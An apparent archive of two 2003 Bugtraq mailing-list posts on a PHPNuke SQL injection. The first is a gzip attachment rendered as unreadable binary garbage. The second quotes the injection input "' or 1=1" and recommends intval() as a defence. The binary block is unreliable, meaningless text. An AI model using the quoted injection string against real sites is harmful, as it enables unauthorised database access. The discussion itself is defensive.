(91335) /Oriol Carreas <uri@7a69ezine.org>/(Ombruten)
91336 2003-02-22  00:00  /17 rader/ Oriol Carreas <uri@7a69ezine.org>
Bilagans filnamn: "user.tar.gz"
Importerad: 2003-02-22  00:00  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Externa svar till: uri@7a69ezine.org
Mottagare: Bugtraq (import) <3606>
Bilaga (text/plain) till text 91334
Ärende: Bilaga (user.tar.gz) till: RE: PHPNuke SQL Injection
------------------------------------------------------------
‹Ý£U>íkWÛ¸²_í_¡¦K“I to‚ÙC!´ly-	û*œc+ÄàØ©í@i—ÿ~gF²-'¶»=Ý{ϱZ ž§4ÍCÎ$âaŸ{¯&¾»-ÛO¾á¨7êõõµµ'õz½ñòE]ý‹cu­±þ¤þr½ùbµñ²ÑºÆ<=aõo9‰‡Æ$Š­±'‘5Š¬Gè>‡ÿ?+‹ÿhèÿ3•®ç^cǸÜaÁG×ó,æŽÆq?¶Ð½X0`VÄ××d†Ÿ2Vtý™ëÛÞÄál#ŠϽXn²•v`y^`ç±n€HÄÆ¡ëÇüp†º~¸[Œ¬
·¹y?føÇÐ?éLAÆíä*ðl*|†‘"3Îd„<ž„>ˉ¸O?q/â0Ë©Wļk¥NaK®—µ~:óKF{†‹pãÊRÃPÞëºnáÀ~¸Q}íÝ93_Úzµ½ÓÙ}ýfïç·û‡GÇ¿œt{§¿þöûZ¶Ã—C÷êÚùÁø}œ›Ûwëæêڋõ—?þ§ºR5:̒Á7rG¼Ï};px_ì<«ØgbFÊ]¿&?“81ôďÜK¼ˆ0vHšð³*æo7˜	²ßÕÏåsS<7’çUñ܄g èj€éRíÆæfS’Ïb+PñœÕ?¬lÍ`15	´[7Øæ&žÑø›’•`ÛÄ¿n<¨\Ò­îJ
é.6”°£´*˜“€ÑäâŠÛqÍqÜÔÀãIºêm:î†v
þìp؁ ½cr})—ÔcL8Çkl…­²*XE
°JÂg²ÃÓýýì@Èõ PjÀ€|¹!ALÇL´à YÅERPۆ)nšlÿ.Á_¡á“r*v®VĒI…„-YYdƒ 2ÿôÑ,«¨0¦‰æá_tš?'omZžø
u}fÃBÐ`vZBƒÁܛÉì!"q`]S6¡„“±z®D/Øì+õÎUrž’sÄÌòY½œÁFT®ÌzûjÃm_U«FnÀq…œäYÕjNÓ¼ÝÀ öbZ[m€ŠµYD.´”Me^ÓÆ&[Lœ)[„tBá]t²þílüýÇd~ý7ü–:>Sÿ
úÅLý÷âeQÿ}1'—TҜŒQ2H{Ni¤ ÿíEãoÜùY®ÿm[?ŸÿÆËÕFsêü¯®¿\/Îÿ÷_ÞÿÉ>ï8 }ƒÿP¿Û|³ãáøprÍYG8Ѳ¤{m߅øùòOíåJJ6*Íiât:7ŸÇlyYÁÀÁþOä%‡A_Üùֈ«ønÌ#”’G}Íc)]ÁÅP±ô´>®Ïµƒ½Ãã­nW[­' v°õ;‚Ø‹zJÆz{£Ó^ÿ 8f]¦PCõuºß;>:éi?*ð“Î/§nOÓJ¯;=¶âúÿ°<ŽÙ›^ïx¥±\‡†ïL×ÿÖÛbàQÀ>à!‡qÇãÖÊÊííí²g…–g-ÛÁIÝv\»¼Å0&˜Q)pæÿø,&™™TwÅÒՉÙÂޗÙÑ	ß:ÌsÁGÊQË+
!ðlô¶N`9§{;›e¶u¸ÃÈxû{o;¬,P ~ 1ËG§'H܂¿o¶ºo:;ˆO7Dª\p„°…(ÕH""³¼à´\Çy︎í¹ã¬×¢îß«ÓÝÝÎ	ÓÖi¯TäNçÕékM«£_hGÇÛ{G‡]lo5øá~iuT™¸N?ä–' ˜LµÅ±E	P4=	e@ýŽ;ɨ©ZY±=ìG14ú—€*í——܁¦Z
¸Üsú½!1#+µsXTŠü‹œ¨2†"¸/ÖäLìXC··dùš®O5my%2²®yñ²4ÀSU‹†AHÝ=Ãl25!!l¢]åµu-ýlæŽe?B	¡A·ò”>ëHÒ¦¯8¸¸âp¡éñ™ÄP¼GwÃI
wš–Ýrh÷ºvñ‘‡Aå¹²¦Ö,

¦¹*+7G¡\Ž\¿?°F®wg¦³_Ú’%0~Ì!GS˜Ã‚V…¬$#>²Çw¹9)J©ÍÈÍC<î_ÆC£
‡ŽûŽ´k¥Jó”‚ë–48
Cb0ð&Ñí‡W*ʽ
˜<ñýTÈí”O´…è#h
\éb2€èіl¹ÅÇ8ˆ-¯/éÎk'o,áߛ*màô#.dâ€è›Ó9ë„2Eà­líö÷;½Z÷hûm¿Û;élÔê‰{
ÍãîaËÑB\z6í(
ò—'¯‚¤µiw`‹Æ<§Q@†!§²(8ɖ½e-&¥[q$gZé`îôåždÂāº™SӏÀļåÖÕ`úà+•d'…ÍÄ֙jўÆ8£Í’Ó!Èj
J§†Ö^W¶™@,€!·oÄ4„ˆjFœI[R€0+ʨjJ—ÒvwúvNŽ*ÏO1$´Ûé
%yŒô°åø@¶™æÓ)ÜDEž
óÝ]WX%›ÆF¶xöü9£­§f]<°ˆ{‰£TÙ4jÈůçR£Ážšl©Á†s´½
âĆOò¶!9O÷ÅcÐJheÉe(ÂéTŠG¤%ŠGÑ­9íäYn¾òM<|Ì"õ
˜øNBúE˜
øîÞ~GÃ+ÂþLDgU!0¥—aª5ªòæ˜<dyg
$UŽ‹ò¡Qm4Ûxßh2×)GBaÎg•W“Ó"°6…™ª?¾ºˆä©$Ù(¢¦&èËVWcø›Õr‹«%‰¿–­ND®||@ɲF£dg¹›âXiÆcåx5e¹×xª^Ä
2Y.¦Æ¦´š<H=FfÊ©ò…Ü臉Á
’•rX-!¥ÕÍ¡ã߸ø_bˆ$rÑAA¿e°65U)3ÂNøÅD…ü¦%WlfRðd[…šf„ÁÌÔµ(•ÆCÎäL\ŸYR$‡Ãc0H
%ÕËÃxTª•nE´¦ü’¢l!<MÚ2Ü÷Â;êQiHâ}.âk´²¤‘®•¦Ö‹4"椺x?oÉͺäæÿø’ï¥ÛãÂÿŠà¨©e5&p""¸Z£äçT'Ï„\B*ªð!SNŠŸK´âÉòeԕ_Ä«>TI®£ÖÓ.ùHÞɾ²Šo¶°ôbB )æ'Î0¥”
Dd­ŸC¤+‹"2‘A
+÷Ë5¡JX;i–hJÈiâ4spG†[eâIÙÈäìMÙË¢-·\’*‰Ö—jëJAÕS,œDÐá±vJµ,Ê'Ù[¢7̤ñ¦lý :&¢ç,<zÛúŒª™"ZÓ_h ‡¥Â„Ãzgg•-Sš¼™¹Zº~ŒGQÝøöË,½¿åÐjLܶÂ\¯®½ì›ôËo“Þ§{G dg÷õ›Ÿßîÿùûö¯¯Ò·°õWiG˜Jü!{Iûð‹Üôåïô»ß¥RÒ^„“˜‚ÐæÓNLÙOñä´ØÐìIB“”õö<$J#Mf.ᱨmtMä
E1ž
-u{•ƒœ_b;/ñ‚;—o¼çLCT5•/sÍü*ÙFÞ
"‰Kr£¼ö<ó¹)÷íjŒS~üȤæ8q’
²“žcJSC~2b¶³ûD¡Z:ô§i
ÉU覙Ô*r}"%kL÷Gg¾ÌTvaû/‚t…I~È(
‹ÐØOÌx$¥ÜÏ9·÷Ò¥'‘u™xó8.CkDœÑŸFI‘‘àç8‹—†jÓ¦À'jC†á,n,5ùn)
Τ=ŸC1bjR›GqL74Ãò(O¥ylQðÒu
ÔæóHv%
®`>†êazä{w̘&9ìlwº['{]ڀ…n20áJŸÐš›’
¶éŒÒT…Á8¦÷OVxi'Í_(
ÐÍ»óš./%sCýÊ
ˆeD4þ!æ‡S÷e_‰Ì¨ZD%i–ÖÄE—)îõèrDSŽüT˜£"øÔ¥öc®íZ^;ƒ@¢¥gYcÛ
’2ç±±.ãˆðXZrý|ÎEH`J»ÑB¥V¶Ž[^+hMZãÖ µÛµâ’a<5—R~të‚k
þ,*@¢•‡å0Zúœ&DXѐç€x
F±FbâüþºˆeZùXÊ%;
[xR–hµõ¹œZÙKÓ

ù՞ï!
é=ø´‰"OôWÍ`
™s]åÛ6ߋ>bd­¼›S„ûJ-Tn>ªb¬î†°ÄjH9W0’
Ôà÷Å:T¦ÇÕÄRM®{jLÓ¶©•ëyŽŽ·Ù‚ÙB
Á5ufSWRSÕ}zK™8ûë/ö45
=)·åŸ‹‰¤Ä¯6Õ՛©¸Ðå2C彔
Ê^ˆ>A^uÏi·éºoÆvÒB¬´°À–6¡êNîB”’¤´P»–coæØñãƒüaŽèüY¹KXZi®4ñmN±ý*6?"Sò´ÆPãÚ!%/6H‘JdÖ©tfúäõÎi—Õ™g,Ò>SEï¼Â®
D:21Uè[{ˆQÊý´5T…QʚâQ§Óñ¬qÄz1€©¸µà°.§ÃA¬l‰IÅ3¬‡“ÑT
Áº5—GĊ|²ˆûz_|
åoÜ÷?àXãÊ7Öñ¹ï5ק¿ÿ±Ö\+¾ÿÿ]Æ3ý™VJö½¤?Óuì¡è„&ßèÐm[>Bt-±Åå
Á@Ar]ïìw:‡½.3Yö€Jçå@OhIä•„b m«Ïl)•«#+-ú^*´Uœób£Å(F1ŠQŒb£Å(F1ŠQŒb£Å(F1ŠQŒb£Ř;þ‰[¬ÈP
(91336) /Oriol Carreas <uri@7a69ezine.org>/(Ombruten)
91520 2003-02-24  19:59  /31 rader/  <alias@securityfocus.com>
Importerad: 2003-02-24  19:59  av Brevbäraren
Mottagare: Bugtraq (import) <3642>
Ärende: Re[2]: PHPNuke SQL Injection / General SQL Injection
------------------------------------------------------------
MightyE,

In response to your mail of Saturday 22 February 2003 at 21:20:29:

M> Actually, user supplied input from $_COOKIES, $_POST, and $_GET
M> comes slash-escaped, so if the user enters
M> ' or 1=1
M> as their input, the sql statement will look like
M> where some_int='\' or 1=1'
M>       [..snip..]
M> function escape($input){
M>     if (get_magic_quotes_gpc()) return $input;
M>     return addslashes($input);
M> }
M>       [..snip..]


Better still, always do this:

        ...WHERE id = ". intval($userinput) ." AND...

which doesn't rely on local configuration, magicquotes etc., and
resolves to (e.g.) "id = 0" when the $userinput is bad or missing.

Safe, simple, portable and effective.


-- 
Best regards,
James.
(91520) / <alias@securityfocus.com>/----------------